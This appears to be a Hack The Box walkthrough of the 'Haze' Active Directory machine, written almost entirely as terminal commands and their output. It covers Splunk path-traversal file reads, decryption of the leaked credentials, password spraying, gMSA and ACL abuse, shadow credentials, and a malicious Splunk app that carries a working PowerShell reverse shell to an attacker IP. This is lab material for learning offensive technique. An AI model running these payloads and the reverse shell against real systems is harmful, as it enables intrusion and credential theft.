Network Distance: 2 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 19m28s
| smb2-time:
| date: 2025-03-30T09:11:44
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 69.80 ms 10.10.16.1
2 28.54 ms 10.129.140.67
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 80.47 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ export IP=10.129.140.67
❯ nxc smb $IP
SMB 10.129.140.67 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
❯ ldapsearch -x -H ldap://$IP -s base | grep defaultNamingContext
defaultNamingContext: DC=haze,DC=htb❯ cat /etc/hosts | grep haze.htb
10.129.140.67 dc01.haze.htb haze.htb❯ nxc smb $IP -u 'guest' -p ''
SMB 10.129.140.67 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
SMB 10.129.140.67 445 DC01 [-] haze.htb\guest: STATUS_ACCOUNT_DISABLED ❯ whatweb -a 3 http://haze.htb:8000
http://haze.htb:8000 [303 See Other] Country[RESERVED][ZZ], HTML5, HTTPServer[Splunkd], IP[10.129.140.67], Meta-Refresh-Redirect[http://haze.htb:8000/en-US/], RedirectLocation[http://haze.htb:8000/en-US/], Title[303 See Other], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN]
http://haze.htb:8000/en-US/ [303 See Other] Cookies[session_id_8000], Country[RESERVED][ZZ], HTTPServer[Splunkd], HttpOnly[session_id_8000], IP[10.129.140.67], RedirectLocation[http://haze.htb:8000/en-US/account/login?return_to=%2Fen-US%2F], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN]
http://haze.htb:8000/en-US/account/login?return_to=%2Fen-US%2F [200 OK] Bootstrap, Cookies[cval,splunkweb_uid], Country[RESERVED][ZZ], HTML5, HTTPServer[Splunkd], IP[10.129.140.67], Meta-Author[Splunk Inc.], Script[text/json], probably Splunk, UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-UA-Compatible[IE=edge]❯ whatweb -a 3 https://haze.htb:8089
https://haze.htb:8089 [200 OK] Country[RESERVED][ZZ], HTTPServer[Splunkd], IP[10.129.140.67], Title[splunkd], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN]❯ git clone https://github.com/bigb0x/CVE-2024-36991; cd CVE-2024-36991
Clonando en 'CVE-2024-36991'...
remote: Enumerating objects: 22, done.
remote: Counting objects: 100% (22/22), done.
remote: Compressing objects: 100% (20/20), done.
remote: Total 22 (delta 4), reused 0 (delta 0), pack-reused 0 (from 0)
Recibiendo objetos: 100% (22/22), 135.19 KiB | 353.00 KiB/s, listo.
Resolviendo deltas: 100% (4/4), listo.❯ python3 CVE-2024-36991.py -u http://haze.htb:8000 2>/dev/null
______ _______ ____ ___ ____ _ _ _____ __ ___ ___ _
/ ___\ \ / | ____| |___ \ / _ |___ \| || | |___ / / /_ / _ \ / _ \/ |
| | \ \ / /| _| _____ __) | | | |__) | || |_ _____ |_ \| '_ | (_) | (_) | |
| |___ \ V / | |__|_____/ __/| |_| / __/|__ _|________) | (_) \__, |\__, | |
\____| \_/ |_____| |_____|\___|_____| |_| |____/ \___/ /_/ /_/|_|
-> POC CVE-2024-36991. This exploit will attempt to read Splunk /etc/passwd file.
-> By x.com/MohamedNab1l
-> Use Wisely.
[INFO] Testing single target: http://haze.htb:8000
[VLUN] Vulnerable: http://haze.htb:8000
:admin:$6$Ak3m7.aHgb/NOQez$O7C8Ck2lg5RaXJs9FrwPr7xbJBJxMCpqIx3TG30Pvl7JSvv0pn3vtYnt8qF4WhL7hBZygwemqn7PBj5dLBm0D1::Administrator:admin:changeme@example.com:::20152
:edward:$6$3LQHFzfmlpMgxY57$Sk32K6eknpAtcT23h6igJRuM1eCe7WAfygm103cQ22/Niwp1pTCKzc0Ok1qhV25UsoUN4t7HYfoGDb4ZCv8pw1::Edward@haze.htb:user:Edward@haze.htb:::20152
:mark:$6$j4QsAJiV8mLg/bhA$Oa/l2cgCXF8Ux7xIaDe3dMW6.Qfobo0PtztrVMHZgdGa1j8423jUvMqYuqjZa/LPd.xryUwe699/8SgNC6v2H/:::user:Mark@haze.htb:::20152
:paul:$6$Y5ds8NjDLd7SzOTW$Zg/WOJxk38KtI.ci9RFl87hhWSawfpT6X.woxTvB4rduL4rDKkE.psK7eXm6TgriABAhqdCPI4P0hcB8xz0cd1:::user:paul@haze.htb:::20152❯ hashid '$6$Ak3m7.aHgb/NOQez$O7C8Ck2lg5RaXJs9FrwPr7xbJBJxMCpqIx3TG30Pvl7JSvv0pn3vtYnt8qF4WhL7hBZygwemqn7PBj5dLBm0D1'
Analyzing '$6$Ak3m7.aHgb/NOQez$O7C8Ck2lg5RaXJs9FrwPr7xbJBJxMCpqIx3TG30Pvl7JSvv0pn3vtYnt8qF4WhL7hBZygwemqn7PBj5dLBm0D1'
[+] SHA-512 Crypt GET /en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../Windows/win.ini"❯ curl -s "http:/haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../Windows/win.ini"
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1❯ curl -s "http:/haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../Windows/System32/drivers/etc/hosts"
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host
# localhost name resolution is handled within DNS itself.
# 127.0.0.1 localhost
# ::1 localhost$SPLUNK_HOME/etc/auth/splunk.secret❯ curl -s "http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:/Program%20Files/Splunk/etc/system/local/server.conf"
[general]
serverName = dc01
pass4SymmKey = $7$lPCemQk01ejJvI8nwCjXjx7PJclrQJ+SfC3/ST+K0s+1LsdlNuXwlA==
[sslConfig]
sslPassword = $7$/nq/of9YXJfJY+DzwGMxgOmH4Fc0dgNwc5qfCiBhwdYvg9+0OCCcQw==
[lmpool:auto_generated_pool_download-trial]
description = auto_generated_pool_download-trial
peers = *
quota = MAX
stack_id = download-trial
[lmpool:auto_generated_pool_forwarder]
description = auto_generated_pool_forwarder
peers = *
quota = MAX
stack_id = forwarder
[lmpool:auto_generated_pool_free]
description = auto_generated_pool_free
peers = *
quota = MAX
stack_id = free$SPLUNK_HOME/etc/auth/splunk.secret❯ curl -s "http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:/Program%20Files/Splunk/etc/auth/splunk.secret"
NfKeJCdFGKUQUqyQmnX/WM9xMn5uVF32qyiofYPHkEOGcpMsEN.lRPooJnBdEL5Gh2wm12jKEytQoxsAYA5mReU9.h0SYEwpFMDyyAuTqhnba9P2Kul0dyBizLpq6Nq5qiCTBK3UM516vzArIkZvWQLk3Bqm1YylhEfdUvaw1ngVqR1oRtg54qf4jG0X16hNDhXokoyvgb44lWcH33FrMXxMvzFKd5W3TaAUisO6rnN0xqB7cHbofaA1YV9vgD$SPLUNK_HOME/etc/system/local/authentication.conf❯ curl -s "http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:/Program%20Files/Splunk/etc/system/local/authentication.conf"
[splunk_auth]
minPasswordLength = 8
minPasswordUppercase = 0
minPasswordLowercase = 0
minPasswordSpecial = 0
minPasswordDigit = 0
[Haze LDAP Auth]
SSLEnabled = 0
anonymous_referrals = 1
bindDN = CN=Paul Taylor,CN=Users,DC=haze,DC=htb
bindDNpassword = $7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=
charset = utf8
emailAttribute = mail
enableRangeRetrieval = 0
groupBaseDN = CN=Splunk_LDAP_Auth,CN=Users,DC=haze,DC=htb
groupMappingAttribute = dn
groupMemberAttribute = member
groupNameAttribute = cn
host = dc01.haze.htb
nestedGroups = 0
network_timeout = 20
pagelimit = -1
port = 389
realNameAttribute = cn
sizelimit = 1000
timelimit = 15
userBaseDN = CN=Users,DC=haze,DC=htb
userNameAttribute = samaccountname
[authentication]
authSettings = Haze LDAP Auth
authType = LDAP❯ curl -s "http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:/Program%20Files/Splunk/etc/auth/splunk.secret" -o splunk.secret
❯ splunksecrets splunk-decrypt -S splunk.secret
Ciphertext: $7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=
Ld@p_Auth_Sp1unk@2k24❯ cat employees.txt
Paul Taylor❯ wget https://gist.githubusercontent.com/superkojiman/11076951/raw/74f3de7740acb197ecfa8340d07d3926a95e5d46/namemash.py
--2025-03-30 11:18:32-- https://gist.githubusercontent.com/superkojiman/11076951/raw/74f3de7740acb197ecfa8340d07d3926a95e5d46/namemash.py
Resolviendo gist.githubusercontent.com (gist.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...
Conectando con gist.githubusercontent.com (gist.githubusercontent.com)[185.199.108.133]:443... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 2086 (2,0K) [text/plain]
Grabando a: «namemash.py»
namemash.py 100%[===================================================================================================================================>] 2,04K --.-KB/s en 0s
2025-03-30 11:18:33 (37,1 MB/s) - «namemash.py» guardado [2086/2086]
❯ python3 namemash.py employees.txt > possible_users.txt
❯ cat possible_users.txt
paultaylor
taylorpaul
paul.taylor
taylor.paul
taylorp
ptaylor
tpaul
p.taylor
t.paul
paul
taylor[libdefaults]
default_realm = HAZE.HTB
ticket_lifetime = 24h
renew_lifetime = 7d
forwardable = true
rdns = false
[realms]
HAZE.HTB = {
kdc = 10.129.109.233
admin_server = 10.129.109.233
}
[domain_realm]
.haze.htb = HAZE.TB
haze.htb = HAZE.HTB❯ sudo ntpdate -s $IP❯ kerbrute userenum --dc dc01.haze.htb -d haze.htb possible_users.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 03/30/25 - Ronnie Flathers @ropnop
2025/03/30 11:20:34 > Using KDC(s):
2025/03/30 11:20:34 > dc01.haze.htb:88
2025/03/30 11:20:34 > [+] VALID USERNAME: paul.taylor@haze.htb
2025/03/30 11:20:34 > Done! Tested 11 usernames (1 valid) in 0.144 seconds❯ nxc ldap $IP -u 'paul.taylor' -p 'Ld@p_Auth_Sp1unk@2k24'
SMB 10.129.140.67 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
LDAP 10.129.140.67 389 DC01 [+] haze.htb\paul.taylor:Ld@p_Auth_Sp1unk@2k24
❯ nxc winrm $IP -u 'paul.taylor' -p 'Ld@p_Auth_Sp1unk@2k24'
WINRM 10.129.140.67 5985 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:haze.htb)
WINRM 10.129.140.67 5985 DC01 [-] haze.htb\paul.taylor:Ld@p_Auth_Sp1unk@2k24❯ ridenum $IP 500 50000 'paul.taylor' 'Ld@p_Auth_Sp1unk@2k24'
[*] Attempting lsaquery first...This will enumerate the base domain SID
[*] Successfully enumerated base domain SID. Printing information:
Domain Name: HAZE
Domain Sid: S-1-5-21-323145914-28650650-2368316563
[*] Moving on to extract via RID cycling attack..
[*] Enumerating user accounts.. This could take a little while.
Account name: HAZE\Administrator
Account name: HAZE\Guest
Account name: HAZE\krbtgt
Account name: HAZE\DC01$
Account name: HAZE\paul.taylor
Account name: HAZE\mark.adams
Account name: HAZE\edward.martin
Account name: HAZE\alexander.green
Account name: HAZE\Haze-IT-Backup$
[*] RIDENUM has finished enumerating user accounts...❯ cat users.txt
Account name: HAZE\Administrator
Account name: HAZE\Guest
Account name: HAZE\krbtgt
Account name: HAZE\DC01$
Account name: HAZE\paul.taylor
Account name: HAZE\mark.adams
Account name: HAZE\edward.martin
Account name: HAZE\alexander.green
Account name: HAZE\Haze-IT-Backup$
❯ cat users.txt | awk '{print $NF}' FS='\\' | sponge users.txt
❯ cat users.txt
Administrator
Guest
krbtgt
DC01$
paul.taylor
mark.adams
edward.martin
alexander.green
Haze-IT-Backup$❯ kerbrute passwordspray -d haze.htb --dc dc01.haze.htb users.txt 'Ld@p_Auth_Sp1unk@2k24'
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 03/30/25 - Ronnie Flathers @ropnop
2025/03/30 11:54:47 > Using KDC(s):
2025/03/30 11:54:47 > dc01.haze.htb:88
2025/03/30 11:54:48 > [+] VALID LOGIN: paul.taylor@haze.htb:Ld@p_Auth_Sp1unk@2k24
2025/03/30 11:54:48 > [+] VALID LOGIN: mark.adams@haze.htb:Ld@p_Auth_Sp1unk@2k24
2025/03/30 11:54:48 > Done! Tested 9 logins (2 successes) in 0.595 seconds❯ nxc winrm $IP -u 'mark.adams' -p 'Ld@p_Auth_Sp1unk@2k24'
WINRM 10.129.140.67 5985 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:haze.htb)
WINRM 10.129.140.67 5985 DC01 [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24 (Pwn3d!)
❯ evil-winrm -i $IP -u 'mark.adams' -p 'Ld@p_Auth_Sp1unk@2k24'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\mark.adams\Documents>❯ bloodhound-python -u 'mark.adams' -p 'Ld@p_Auth_Sp1unk@2k24' -d 'haze.htb' -ns "$IP" -dc 'dc01.haze.htb' --zip -c All
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: haze.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 8 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.haze.htb
INFO: Done in 00M 11S
INFO: Compressing output into 20250330120043_bloodhound.zip*Evil-WinRM* PS C:\Users\mark.adams\Documents> net user mark.adams
User name mark.adams
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 3/30/2025 2:55:12 AM
Password expires Never
Password changeable 3/31/2025 2:55:12 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 3/30/2025 2:54:49 AM
Logon hours allowed All
Local Group Memberships *Remote Management Use
Global Group memberships *gMSA_Managers *Domain Users
The command completed successfully.❯ powerview haze.htb/mark.adams:'Ld@p_Auth_Sp1unk@2k24'@"$IP" --dc-ip "$IP"
Logging directory is set to /home/gzzcoo/.powerview/logs/haze-mark.adams-10.129.140.67
[2025-03-30 11:58:48] [Storage] Using cache directory: /home/gzzcoo/.powerview/storage/ldap_cache
(LDAPS)-[dc01.haze.htb]-[HAZE\mark.adams]
PV > Get-GMSA
ObjectDnsHostname : Haze-IT-Backup.haze.htb
ObjectSAN : Haze-IT-Backup$
ObjectSID : S-1-5-21-323145914-28650650-2368316563-1111
PrincipallAllowedToRead : HAZE\Domain Admins*Evil-WinRM* PS C:\ProgramData> upload PowerView.ps1
Info: Uploading /home/gzzcoo/Desktop/HackTheBox/Windows/AD/Haze/content/PowerView.ps1 to C:\ProgramData\PowerView.ps1
Data: 1027036 bytes of 1027036 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\ProgramData> . .\PowerView.ps1*Evil-WinRM* PS C:\ProgramData> Set-ADServiceAccount -Identity "Haze-IT-Backup$" -PrincipalsAllowedToRetrieveManagedPassword "mark.adams"
*Evil-WinRM* PS C:\ProgramData> Get-DomainComputer -Identity "Haze-IT-Backup$" | Add-DomainObjectAcl -PrincipalIdentity "mark.adams" -Rights ResetPassword❯ powerview haze.htb/mark.adams:'Ld@p_Auth_Sp1unk@2k24'@"$IP" --dc-ip "$IP"
Logging directory is set to /home/gzzcoo/.powerview/logs/haze-mark.adams-10.129.140.67
[2025-03-30 12:14:33] [Storage] Using cache directory: /home/gzzcoo/.powerview/storage/ldap_cache
(LDAPS)-[dc01.haze.htb]-[HAZE\mark.adams]
PV > Get-GMSA
ObjectDnsHostname : Haze-IT-Backup.haze.htb
ObjectSAN : Haze-IT-Backup$
ObjectSID : S-1-5-21-323145914-28650650-2368316563-1111
PrincipallAllowedToRead : HAZE\mark.adams
GMSAPassword : 735c02c6b2dc54c3c8c6891f55279ebc❯ nxc ldap $IP -u 'Haze-IT-Backup$' -H '735c02c6b2dc54c3c8c6891f55279ebc'
SMB 10.129.140.67 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
LDAP 10.129.140.67 389 DC01 [+] haze.htb\Haze-IT-Backup$:735c02c6b2dc54c3c8c6891f55279ebc ❯ bloodhound-python -u 'HAZE-IT-BACKUP$' --hashes ':735c02c6b2dc54c3c8c6891f55279ebc' -d 'haze.htb' -ns "$IP" --zip -c All -dc 'dc01.haze.htb'
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: haze.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 9 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 20 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.haze.htb
INFO: Done in 00M 11S
INFO: Compressing output into 20250330121654_bloodhound.zip❯ bloodyAD --host "$IP" -d haze.htb -u 'HAZE-IT-BACKUP$' -p ':735c02c6b2dc54c3c8c6891f55279ebc' set owner 'CN=SUPPORT_SERVICES,CN=USERS,DC=HAZE,DC=HTB' 'HAZE-IT-BACKUP$'
[+] Old owner S-1-5-21-323145914-28650650-2368316563-512 is now replaced by HAZE-IT-BACKUP$ on CN=SUPPORT_SERVICES,CN=USERS,DC=HAZE,DC=HTB
❯ bloodyAD --host "$IP" -d haze.htb -u 'HAZE-IT-BACKUP$' -p ':735c02c6b2dc54c3c8c6891f55279ebc' add genericAll 'CN=SUPPORT_SERVICES,CN=USERS,DC=HAZE,DC=HTB' 'HAZE-IT-BACKUP$'
[+] HAZE-IT-BACKUP$ has now GenericAll on CN=SUPPORT_SERVICES,CN=USERS,DC=HAZE,DC=HTB❯ bloodyAD --host "$IP" -d haze.htb -u 'HAZE-IT-BACKUP$' -p ':735c02c6b2dc54c3c8c6891f55279ebc' add groupMember 'CN=SUPPORT_SERVICES,CN=USERS,DC=HAZE,DC=HTB' 'HAZE-IT-BACKUP$'
[+] HAZE-IT-BACKUP$ added to CN=SUPPORT_SERVICES,CN=USERS,DC=HAZE,DC=HTB❯ certipy-ad shadow auto -username 'Haze-IT-Backup$'@haze.htb -hashes ':735c02c6b2dc54c3c8c6891f55279ebc' -account 'EDWARD.MARTIN' -dc-ip "$IP"
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'edward.martin'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '63752a20-6b83-96ea-6d5f-fb458eb55565'
[*] Adding Key Credential with device ID '63752a20-6b83-96ea-6d5f-fb458eb55565' to the Key Credentials for 'edward.martin'
[*] Successfully added Key Credential with device ID '63752a20-6b83-96ea-6d5f-fb458eb55565' to the Key Credentials for 'edward.martin'
[*] Authenticating as 'edward.martin' with the certificate
[*] Using principal: edward.martin@haze.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'edward.martin.ccache'
[*] Trying to retrieve NT hash for 'edward.martin'
[*] Restoring the old Key Credentials for 'edward.martin'
[*] Successfully restored the old Key Credentials for 'edward.martin'
[*] NT hash for 'edward.martin': 09e0b3eeb2e7a6b0d419e9ff8f4d91af❯ evil-winrm -i "$IP" -u 'edward.martin' -H '09e0b3eeb2e7a6b0d419e9ff8f4d91af'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\edward.martin\Documents> type ../Desktop/user.txt
0925213**************************Evil-WinRM* PS C:\Backups\Splunk> ls
Directory: C:\Backups\Splunk
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 8/6/2024 3:22 PM 27445566 splunk_backup_2024-08-06.zip
*Evil-WinRM* PS C:\Backups\Splunk> download splunk_backup_2024-08-06.zip
Info: Downloading C:\Backups\Splunk\splunk_backup_2024-08-06.zip to splunk_backup_2024-08-06.zip
Info: Download successful!❯ ls -l splunk_backup_2024-08-06.zip
.rw-rw-r-- gzzcoo gzzcoo 26 MB Sun Mar 30 12:31:38 2025 splunk_backup_2024-08-06.zip
❯ unzip splunk_backup_2024-08-06.zip
❯ cd Splunk
❯ ls -la
drwxrwxr-x gzzcoo gzzcoo 4.0 KB Tue Aug 6 22:52:06 2024 .
drwxrwxr-x gzzcoo gzzcoo 4.0 KB Sun Mar 30 12:33:06 2025 ..
drwxrwxr-x gzzcoo gzzcoo 12 KB Tue Aug 6 15:26:34 2024 bin
drwxrwxr-x gzzcoo gzzcoo 4.0 KB Tue Aug 6 15:26:34 2024 cmake
drwxrwxr-x gzzcoo gzzcoo 4.0 KB Tue Aug 6 15:24:08 2024 etc
drwxrwxr-x gzzcoo gzzcoo 4.0 KB Tue Aug 6 15:24:08 2024 lib
drwxrwxr-x gzzcoo gzzcoo 4.0 KB Tue Aug 6 15:24:12 2024 opt
drwxrwxr-x gzzcoo gzzcoo 4.0 KB Tue Aug 6 22:52:26 2024 Python-3.7
drwxrwxr-x gzzcoo gzzcoo 4.0 KB Tue Aug 6 15:25:10 2024 quarantined_files
drwxrwxr-x gzzcoo gzzcoo 4.0 KB Tue Aug 6 22:53:06 2024 share
drwxrwxr-x gzzcoo gzzcoo 4.0 KB Tue Aug 6 15:26:16 2024 swidtag
drwxrwxr-x gzzcoo gzzcoo 4.0 KB Tue Aug 6 15:26:30 2024 var
.rw-rw-r-- gzzcoo gzzcoo 58 B Thu Mar 21 00:38:24 2024 copyright.txt
.rw-rw-r-- gzzcoo gzzcoo 325 KB Thu Mar 21 00:38:24 2024 license-eula.rtf
.rw-rw-r-- gzzcoo gzzcoo 85 KB Thu Mar 21 00:38:24 2024 license-eula.txt
.rw-rw-r-- gzzcoo gzzcoo 11 KB Thu Mar 21 00:41:30 2024 openssl.cnf
.rw-rw-r-- gzzcoo gzzcoo 532 B Thu Mar 21 00:48:12 2024 README-splunk.txt
.rw-rw-r-- gzzcoo gzzcoo 3.0 MB Thu Mar 21 01:30:04 2024 splunk-9.2.1-78803f08aabb-windows-64-manifest❯ find $(pwd) -name splunk.secret 2>/dev/null
/home/gzzcoo/Desktop/HackTheBox/Windows/AD/Haze/Haze/content/Splunk/etc/auth/splunk.secret
❯ find $(pwd) -name authentication.conf 2>/dev/null
/home/gzzcoo/Desktop/HackTheBox/Windows/AD/Haze/Haze/content/Splunk/etc/system/default/authentication.conf
/home/gzzcoo/Desktop/HackTheBox/Windows/AD/Haze/Haze/content/Splunk/var/run/splunk/confsnapshot/baseline_local/system/local/authentication.conf
/home/gzzcoo/Desktop/HackTheBox/Windows/AD/Haze/Haze/content/Splunk/var/run/splunk/confsnapshot/baseline_default/system/default/authentication.confCgL8i4HvEen3cCYOYZDBkuATi5WQuORBw9g4zp4pv5mpMcMF3sWKtaCWTX8Kc1BK3pb9HR13oJqHpvYLUZ.gIJIuYZCA/YNwbbI4fDkbpGD.8yX/8VPVTG22V5G5rDxO5qNzXSQIz3NBtFE6oPhVLAVOJ0EgCYGjuk.fgspXYUc9F24Q6P/QGB/XP8sLZ2h00FQYRmxaSUTAroHHz8fYIsChsea7GBRaolimfQLD7yWGefscTbuXOMJOrzr/6BbindDN = CN=alexander.green,CN=Users,DC=haze,DC=htb
bindDNpassword = $1$YDz8WfhoCWmf6aTRkA+QqUI=
groupBaseDN = CN=Splunk_Admins,CN=Users,DC=haze,DC=htb[default]
minPasswordLength = 8
minPasswordUppercase = 0
minPasswordLowercase = 0
minPasswordSpecial = 0
minPasswordDigit = 0
[Haze LDAP Auth]
SSLEnabled = 0
anonymous_referrals = 1
bindDN = CN=alexander.green,CN=Users,DC=haze,DC=htb
bindDNpassword = $1$YDz8WfhoCWmf6aTRkA+QqUI=
charset = utf8
emailAttribute = mail
enableRangeRetrieval = 0
groupBaseDN = CN=Splunk_Admins,CN=Users,DC=haze,DC=htb
groupMappingAttribute = dn
groupMemberAttribute = member
groupNameAttribute = cn
host = dc01.haze.htb
nestedGroups = 0
network_timeout = 20
pagelimit = -1
port = 389
realNameAttribute = cn
sizelimit = 1000
timelimit = 15
userBaseDN = CN=Users,DC=haze,DC=htb
userNameAttribute = samaccountname
[authentication]
authSettings = Haze LDAP Auth
authType = LDAP❯ cd etc/auth; ls -l splunk.secret
.rw-rw-r-- gzzcoo gzzcoo 254 B Tue Aug 6 15:16:20 2024 splunk.secret❯ splunksecrets splunk-decrypt -S splunk.secret
Ciphertext: $1$YDz8WfhoCWmf6aTRkA+QqUI=
Sp1unkadmin@2k24❯ nxc ldap $IP -u 'alexander.green' -p 'Sp1unkadmin@2k24'
LDAP 10.129.140.67 389 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
LDAP 10.129.140.67 389 DC01 [-] haze.htb\alexander.green:Sp1unkadmin@2k24 ❯ git clone https://github.com/0xjpuff/reverse_shell_splunk; cd reverse_shell_splunk
Clonando en 'reverse_shell_splunk'...
remote: Enumerating objects: 23, done.
remote: Total 23 (delta 0), reused 0 (delta 0), pack-reused 23 (from 1)
Recibiendo objetos: 100% (23/23), 5.16 KiB | 5.16 MiB/s, listo.
Resolviendo deltas: 100% (4/4), listo.❯ cd reverse_shell_splunk
❯ ls -l
drwxrwxr-x gzzcoo gzzcoo 4.0 KB Sun Mar 30 12:41:10 2025 bin
drwxrwxr-x gzzcoo gzzcoo 4.0 KB Sun Mar 30 12:41:10 2025 default
❯ tree
.
├── bin
│ ├── rev.py
│ ├── run.bat
│ └── run.ps1
└── default
└── inputs.conf
3 directories, 4 files#A simple and small reverse shell. Options and help removed to save space.
#Uncomment and change the hardcoded IP address and port number in the below line. Remove all help comments as well.
$client = New-Object System.Net.Sockets.TCPClient('10.10.16.5',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()❯ ls
reverse_shell_splunk README.md
❯ tar -cvzf reverse_shell_splunk.tgz reverse_shell_splunk
reverse_shell_splunk/
reverse_shell_splunk/bin/
reverse_shell_splunk/bin/run.bat
reverse_shell_splunk/bin/rev.py
reverse_shell_splunk/bin/run.ps1
reverse_shell_splunk/default/
reverse_shell_splunk/default/inputs.conf
❯ mv reverse_shell_splunk.tgz reverse_shell_splunk.spl
❯ ls -l reverse_shell_splunk.spl
.rw-rw-r-- gzzcoo gzzcoo 964 B Sun Mar 30 12:43:55 2025 reverse_shell_splunk.spl❯ rlwrap -cAr nc -nlvp 4444
listening on [any] 4444 ...❯ rlwrap -cAr nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.16.5] from (UNKNOWN) [10.129.140.67] 57466
PS C:\Windows\system32> whoami; hostname
haze\alexander.green
dc01PS C:\Windows\system32> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
